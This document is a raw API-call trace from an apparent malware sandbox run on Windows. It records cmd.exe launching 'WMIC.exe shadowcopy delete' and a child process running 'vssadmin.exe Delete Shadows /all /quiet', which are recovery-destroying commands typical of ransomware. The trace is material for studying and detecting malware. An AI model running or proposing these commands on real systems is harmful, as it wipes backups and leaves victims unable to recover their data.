	[0247.945] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.946] GetLastError () returned 0x2
	[0247.946] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.946] GetLastError () returned 0x2
	[0247.946] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.946] GetLastError () returned 0x2
	[0247.947] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.947] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.947] GetLastError () returned 0x2
	[0247.947] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.948] GetLastError () returned 0x2
	[0247.948] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.948] GetLastError () returned 0x2
	[0247.948] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.948] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.948] GetLastError () returned 0x2
	[0247.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.949] GetLastError () returned 0x2
	[0247.949] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0xffffffffffffffff
	[0247.949] GetLastError () returned 0x2
	[0247.949] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.950] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1cea50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1cea50) returned 0x31c0c0
	[0247.950] GetProcessHeap () returned 0x300000
	[0247.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x28) returned 0x3145c0
	[0247.950] FindClose (in: hFindFile=0x31c0c0 | out: hFindFile=0x31c0c0) returned 1
	[0247.950] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0247.950] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0247.950] GetConsoleTitleW (in: lpConsoleTitle=0x1cefa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0248.171] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ced58, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ced18 | out: lpAttributeList=0x1ced58, lpSize=0x1ced18) returned 1
	[0248.171] UpdateProcThreadAttribute (in: lpAttributeList=0x1ced58, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ced08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ced58, lpPreviousValue=0x0) returned 1
	[0248.171] GetStartupInfoW (in: lpStartupInfo=0x1cee70 | out: lpStartupInfo=0x1cee70*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0248.171] GetProcessHeap () returned 0x300000
	[0248.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x3145f0
	[0248.171] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0248.171] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0248.173] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0248.173] GetProcessHeap () returned 0x300000
	[0248.173] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3145f0 | out: hHeap=0x300000) returned 1
	[0248.174] GetProcessHeap () returned 0x300000
	[0248.174] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x3188d0
	[0248.174] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1
	[0248.177] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ced90*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="WMIC.exe  shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ced40 | out: lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessInformation=0x1ced40*(hProcess=0x54, hThread=0x50, dwProcessId=0x30cc, dwThreadId=0x30d0)) returned 1
	[0248.306] CloseHandle (hObject=0x50) returned 1
	[0248.306] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0248.306] GetProcessHeap () returned 0x300000
	[0248.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x31ac00 | out: hHeap=0x300000) returned 1
	[0248.306] GetEnvironmentStringsW () returned 0x31ac00*
	[0248.306] GetProcessHeap () returned 0x300000
	[0248.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xae8) returned 0x318a30
	[0248.306] FreeEnvironmentStringsW (penv=0x31ac00) returned 1
	[0248.306] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) 

Process:
	id = "48"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0xc713000"
	os_pid = "0x2ae0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2384
	os_tid = 0x2ae4

	[0246.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2efdf0 | out: lpSystemTimeAsFileTime=0x2efdf0*(dwLowDateTime=0x755feba0, dwHighDateTime=0x1d5cdef)) 
	[0246.768] GetCurrentProcessId () returned 0x2ae0
	[0246.769] GetCurrentThreadId () returned 0x2ae4
	[0246.769] GetTickCount () returned 0x1180fab
	[0246.769] QueryPerformanceCounter (in: lpPerformanceCount=0x2efdf8 | out: lpPerformanceCount=0x2efdf8*=38832878598) returned 1
	[0246.770] GetModuleHandleW (lpModuleName=0x0) returned 0x4a500000
	[0246.770] __set_app_type (_Type=0x1) 
	[0246.770] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a527810) returned 0x0
	[0247.311] __getmainargs (in: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610, _DoWildCard=0, _StartInfo=0x4a52e0f4 | out: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610) returned 0
	[0247.311] GetCurrentThreadId () returned 0x2ae4
	[0247.311] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2ae4) returned 0x3c
	[0247.311] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.311] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0247.311] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0247.312] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0247.312] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2efd88 | out: phkResult=0x2efd88*=0x0) returned 0x2
	[0247.312] VirtualQuery (in: lpAddress=0x2efd70, lpBuffer=0x2efcf0, dwLength=0x30 | out: lpBuffer=0x2efcf0*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.312] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2efcf0, dwLength=0x30 | out: lpBuffer=0x2efcf0*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.312] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2efcf0, dwLength=0x30 | out: lpBuffer=0x2efcf0*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.313] VirtualQuery (in: lpAddress=0x1f4000, lpBuffer=0x2efcf0, dwLength=0x30 | out: lpBuffer=0x2efcf0*(BaseAddress=0x1f4000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.313] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2efcf0, dwLength=0x30 | out: lpBuffer=0x2efcf0*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0247.313] GetConsoleOutputCP () returned 0x1b5
	[0247.313] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.314] SetConsoleCtrlHandler (HandlerRoutine=0x4a523184, Add=1) returned 1
	[0247.314] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.314] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0247.314] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.314] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0247.315] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.315] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0247.316] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.316] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0247.316] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.316] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0247.317] GetEnvironmentStringsW () returned 0x498a60*
	[0247.317] GetProcessHeap () returned 0x480000
	[0247.317] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa7c) returned 0x4994f0
	[0247.317] FreeEnvironmentStringsW (penv=0x498a60) returned 1
	[0247.318] GetProcessHeap () returned 0x480000
	[0247.318] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x8) returned 0x499f80
	[0247.318] GetEnvironmentStringsW () returned 0x498a60*
	[0247.318] GetProcessHeap () returned 0x480000
	[0247.318] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa7c) returned 0x499fa0
	[0247.318] FreeEnvironmentStringsW (penv=0x498a60) returned 1
	[0247.318] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2eec48 | out: phkResult=0x2eec48*=0x44) returned 0x0
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x0, lpData=0x2eec60*=0x18, lpcbData=0x2eec44*=0x1000) returned 0x2
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x1, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x0, lpData=0x2eec60*=0x1, lpcbData=0x2eec44*=0x1000) returned 0x2
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x0, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x40, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x40, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.319] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x0, lpData=0x2eec60*=0x40, lpcbData=0x2eec44*=0x1000) returned 0x2
	[0247.319] RegCloseKey (hKey=0x44) returned 0x0
	[0247.319] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2eec48 | out: phkResult=0x2eec48*=0x44) returned 0x0
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x0, lpData=0x2eec60*=0x40, lpcbData=0x2eec44*=0x1000) returned 0x2
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x1, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x0, lpData=0x2eec60*=0x1, lpcbData=0x2eec44*=0x1000) returned 0x2
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x0, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x9, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x4, lpData=0x2eec60*=0x9, lpcbData=0x2eec44*=0x4) returned 0x0
	[0247.320] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2eec40, lpData=0x2eec60, lpcbData=0x2eec44*=0x1000 | out: lpType=0x2eec40*=0x0, lpData=0x2eec60*=0x9, lpcbData=0x2eec44*=0x1000) returned 0x2
	[0247.320] RegCloseKey (hKey=0x44) returned 0x0
	[0247.320] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6eb
	[0247.320] srand (_Seed=0x5e22e6eb) 
	[0247.320] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0247.321] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0247.321] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.321] GetProcessHeap () returned 0x480000
	[0247.321] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x218) returned 0x49aa30
	[0247.321] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x49aa40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0247.322] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.322] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.322] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0247.322] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0247.322] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0247.323] GetProcessHeap () returned 0x480000
	[0247.323] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x4994f0 | out: hHeap=0x480000) returned 1
	[0247.323] GetEnvironmentStringsW () returned 0x498a60*
	[0247.323] GetProcessHeap () returned 0x480000
	[0247.323] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xa94) returned 0x49b6f0
	[0247.323] FreeEnvironmentStringsW (penv=0x498a60) returned 1
	[0247.324] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.324] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.324] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0247.324] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0247.324] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0247.324] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0247.324] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0247.324] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0247.324] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0247.324] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0247.324] GetProcessHeap () returned 0x480000
	[0247.324] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x5c) returned 0x498300
	[0247.324] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2efa50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2efa50, lpFilePart=0x2efa30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2efa30*="Desktop") returned 0x25
	[0247.325] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.325] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef760 | out: lpFindFileData=0x2ef760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Users", cAlternateFileName="")) returned 0x481320
	[0247.325] FindClose (in: hFindFile=0x481320 | out: hFindFile=0x481320) returned 1
	[0247.325] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ef760 | out: lpFindFileData=0x2ef760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x481320
	[0247.325] FindClose (in: hFindFile=0x481320 | out: hFindFile=0x481320) returned 1
	[0247.325] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
